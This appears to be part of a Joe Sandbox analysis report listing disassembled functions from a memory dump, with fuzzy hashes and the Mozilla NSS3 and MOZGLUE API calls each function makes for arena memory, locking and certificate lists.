Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: f5f25bb7d87b2e62c9d2ad614ad4c331c94e00490e4a0c708f6a6bda945e58e3
Instruction ID: 1881a19d4109958fcd593e4da0c46f9e9b826a72776693237b26cccffcdbcfeb
Opcode Fuzzy Hash: f5f25bb7d87b2e62c9d2ad614ad4c331c94e00490e4a0c708f6a6bda945e58e3
Instruction Fuzzy Hash: A4318170A047048FD710AF69D1852BABBF0FF85318F11592ED8998BB00EB34E985CB92

Function 6CEB4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CEBB60F,00000000), ref: 6CEB5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CEBB60F,00000000), ref: 6CEB501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CEBB60F,00000000), ref: 6CEB504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CEBB60F,00000000), ref: 6CEB5064

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 38225d68471997d0a7f91824fb05834c74cb0a19d4b7e6cf4626ff9771826640
Instruction ID: 7282e47d7df1ac27c4eb9e7cc46b942fc620d95fe5f94bdd53eb8dfbb08b4b92
Opcode Fuzzy Hash: 38225d68471997d0a7f91824fb05834c74cb0a19d4b7e6cf4626ff9771826640
Instruction Fuzzy Hash: C83108B4A05606CFDB40EF68C58466ABBF4FF09308F258569E859E7701E730E994CBD1

Function 6CED9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEDA71A,FFFFFFFF,?,?), ref: 6CED9FAB

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CEDA71A,6CEDA71A,00000000), ref: 6CED9FD9

Part of subcall function 6CED1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED136A
Part of subcall function 6CED1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED137E
Part of subcall function 6CED1340: PL_ArenaGrow.NSS3(?,6CE6F599,?,00000000,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?), ref: 6CED13CF
Part of subcall function 6CED1340: PR_Unlock.NSS3(?,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEDA71A,6CEDA71A,00000000), ref: 6CEDA009
PR_SetError.NSS3(FFFFE013,00000000,6CEDA71A,6CEDA71A,00000000), ref: 6CEDA045

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: fced6885d46a44b0a96e1e9e40d4ecbdb4289777fbb72c5915bcaa731a7a0f4d
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 4521B3B56002069FE7009F55DC50F66B7B9BB4536CF22812CD81987B81EB76F916CB90

Function 6CEE2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEE2E08

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CEE2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CEE2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEE2E95

Part of subcall function 6CED1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE788A4,00000000,00000000), ref: 6CED1228
Part of subcall function 6CED1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CED1238
Part of subcall function 6CED1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE788A4,00000000,00000000), ref: 6CED124B
Part of subcall function 6CED1200: PR_CallOnce.NSS3(6CFD2AA4,6CED12D0,00000000,00000000,00000000,?,6CE788A4,00000000,00000000), ref: 6CED125D
Part of subcall function 6CED1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CED126F
Part of subcall function 6CED1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CED1280
Part of subcall function 6CED1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CED128E
Part of subcall function 6CED1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CED129A
Part of subcall function 6CED1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CED12A1

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 0e67d4e7148652b0157febd635058e7e395ff4851f41e281afda4e8dfad2002c
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 56213BB1D003564BEB01CF949D447AA3774AFA538CF360269DD085B752F7B2E588C392

Function 6CE9ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE9ACC2

Part of subcall function 6CE72F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE72F0A
Part of subcall function 6CE72F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE72F1D

Part of subcall function 6CE72AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CE70A1B,00000000), ref: 6CE72AF0
Part of subcall function 6CE72AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE72B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CE9AD5E

Part of subcall function 6CEB57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE7B41E,00000000,00000000,?,00000000,?,6CE7B41E,00000000,00000000,00000001,?), ref: 6CEB57E0
Part of subcall function 6CEB57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CEB5843

CERT_DestroyCertList.NSS3(?), ref: 6CE9AD36

Part of subcall function 6CE72F50: CERT_DestroyCertificate.NSS3(?), ref: 6CE72F65
Part of subcall function 6CE72F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE72F83

free.MOZGLUE(?), ref: 6CE9AD4F

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: c54dc59860bb6d58457a0f88cf732fcde4c5cc0d4fa7a757f87a55ef3c0b184b
Instruction ID: 93196895f2bea215add2c96c36378fa15a511bceb417dc57b667d642408b67aa
Opcode Fuzzy Hash: c54dc59860bb6d58457a0f88cf732fcde4c5cc0d4fa7a757f87a55ef3c0b184b
Instruction Fuzzy Hash: DA21A2B1D012189BEB10DF65D9065EEB7B4EF1521CF254068D809BB710FB31AA59CBE1

Function 6CEC3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEC3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CEC3CAE
PR_Unlock.NSS3(?), ref: 6CEC3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CEC3D02

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: ec310e6d1e85342c686b0e9024425448e52d434cde0419d26cfeb03e3e4e599b
Instruction ID: 7cc1bfaf57a23b061dab1fe7c35b9a6918968b7ba89772e09e56d84d24538974
Opcode Fuzzy Hash: ec310e6d1e85342c686b0e9024425448e52d434cde0419d26cfeb03e3e4e599b
Instruction Fuzzy Hash: 5A11AF79B10214AFDB40AF24D848EDA3B78EF09368F258064FC189B712E730ED548BE1

Function 6CECECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CECF0AD,6CECF150,?,6CECF150,?,?,?), ref: 6CECECBA

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CECECD1

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CECED02

Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CECED5A

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 7d178a60f2709f98c27c21d260feb2bb704d48652723dee6e3f312c0febc2187
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 2D21C2B1A01B425BE700CF25DA45B52BBF4AFA430CF25C219A81C87761E770E594C6D1

Function 6CEFEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CEE7FFA,?,6CEE9767,?,8B7874C0,0000A48E), ref: 6CEFEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CEE7FFA,?,6CEE9767,?,8B7874C0,0000A48E), ref: 6CEFEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CEE7FFA,?,6CEE9767,?,8B7874C0,0000A48E), ref: 6CEFEE14

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

memcpy.VCRUNTIME140(?,?,6CEE9767,00000000,00000000,6CEE7FFA,?,6CEE9767,?,8B7874C0,0000A48E), ref: 6CEFEE33

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 2edbc47db330eddab4c6bd08cc39d9ca1f102d7e8510c94f1851e14b7061d3c6
Instruction ID: 081fb1b264accdc406786447e5ed3cf901b25e7e9102234af30848f67c038027
Opcode Fuzzy Hash: 2edbc47db330eddab4c6bd08cc39d9ca1f102d7e8510c94f1851e14b7061d3c6
Instruction Fuzzy Hash: 36117775A05B06ABD7109E65EC84B467378EB0435DF344535E92987B40E331F45687E2

Function 6CE7DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CE906A0: TlsGetValue.KERNEL32 ref: 6CE906C2
Part of subcall function 6CE906A0: EnterCriticalSection.KERNEL32(?), ref: 6CE906D6
Part of subcall function 6CE906A0: PR_Unlock.NSS3 ref: 6CE906EB

CERT_NewCertList.NSS3 ref: 6CE7DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CE7DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE7DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7E029

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 805a7458286b65ae9f55c96b57814e490d6dbffe1e6b0f46f98c0e3e658bf6e3
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: BB110871A04A06AFEB301EB95C48BEF76B8AB8135CF340538E91897B01E736D915D6F1

Function 6CE98DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE98DE7
EnterCriticalSection.KERNEL32 ref: 6CE98DFC
PR_Unlock.NSS3 ref: 6CE98E2D
PR_SetError.NSS3 ref: 6CE98E49

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 07dee5e37f0c2e9709cf17c10e890bc2588d2d47df8820ed7262346ee913609f
Instruction ID: 9d6eb7e272b6cfca998919f8fa9acfcb01d6b6f69641f17ea468c060fda3eaf0
Opcode Fuzzy Hash: 07dee5e37f0c2e9709cf17c10e890bc2588d2d47df8820ed7262346ee913609f
Instruction Fuzzy Hash: AD118F71A15A109FDB40AF78C44826ABBF4FF05318F11492AEC8997B00E730E894CBC1

Function 6CF1AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CF05F17,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF1AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CF05F17,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF1ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF1ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF1ACDB

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: d46e0fbe14fc7515d8aeeb303610f914f184c4875e5fdab64d291a4cbbb9999c
Instruction ID: 51cfa157cc7e127db9bd42b720664ee9fd6d0cde73a18b7f22d434713e1bbbe4
Opcode Fuzzy Hash: d46e0fbe14fc7515d8aeeb303610f914f184c4875e5fdab64d291a4cbbb9999c
Instruction Fuzzy Hash: 66015EB1B01B019BEB50DF3AE908753B7E8BF00699B104839D85AD3E00E731F159CB91

Function 6CE81DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CE81DFB

Part of subcall function 6CE795B0: TlsGetValue.KERNEL32(00000000,?,6CE900D2,00000000), ref: 6CE795D2
Part of subcall function 6CE795B0: EnterCriticalSection.KERNEL32(?,?,?,6CE900D2,00000000), ref: 6CE795E7
Part of subcall function 6CE795B0: PR_Unlock.NSS3(?,?,?,?,6CE900D2,00000000), ref: 6CE79605

PR_EnterMonitor.NSS3 ref: 6CE81E09

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

Part of subcall function 6CE7E190: PR_EnterMonitor.NSS3(?,?,6CE7E175), ref: 6CE7E19C
Part of subcall function 6CE7E190: PR_EnterMonitor.NSS3(6CE7E175), ref: 6CE7E1AA
Part of subcall function 6CE7E190: PR_ExitMonitor.NSS3 ref: 6CE7E208
Part of subcall function 6CE7E190: PL_HashTableRemove.NSS3(?), ref: 6CE7E219
Part of subcall function 6CE7E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE7E231
Part of subcall function 6CE7E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE7E249
Part of subcall function 6CE7E190: PR_ExitMonitor.NSS3 ref: 6CE7E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE81E37
PR_ExitMonitor.NSS3 ref: 6CE81E4A

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 7b6b52f291cb73edb3df6a408ecb2bab6e974a82da8ea84e2f5cce2155f9d404
Instruction ID: 29b33d001011f6bfdd950068c714e2631abb92083a7559c2a67bf8ade056d038
Opcode Fuzzy Hash: 7b6b52f291cb73edb3df6a408ecb2bab6e974a82da8ea84e2f5cce2155f9d404
Instruction Fuzzy Hash: 7C018471B1115097EB105AA5EC40F467774AB4274CF300135E92D97B51E771E814CBE2

Function 6CE81D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE81D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE81D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CE81D9C
free.MOZGLUE(00000000), ref: 6CE81DB8

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 9d80f0f014a618efe40f931cb86893ddc15c16d56666addffe83adb46aced05c
Instruction ID: db221384332c9a057a581b98cc8e1493a1a7ffb510de352b9c261aa761410dfa
Opcode Fuzzy Hash: 9d80f0f014a618efe40f931cb86893ddc15c16d56666addffe83adb46aced05c
Instruction Fuzzy Hash: 6EF0D6B2A0225057EB101F999C42B473678DB8179DF350636D92D9BB85D661E40582E1

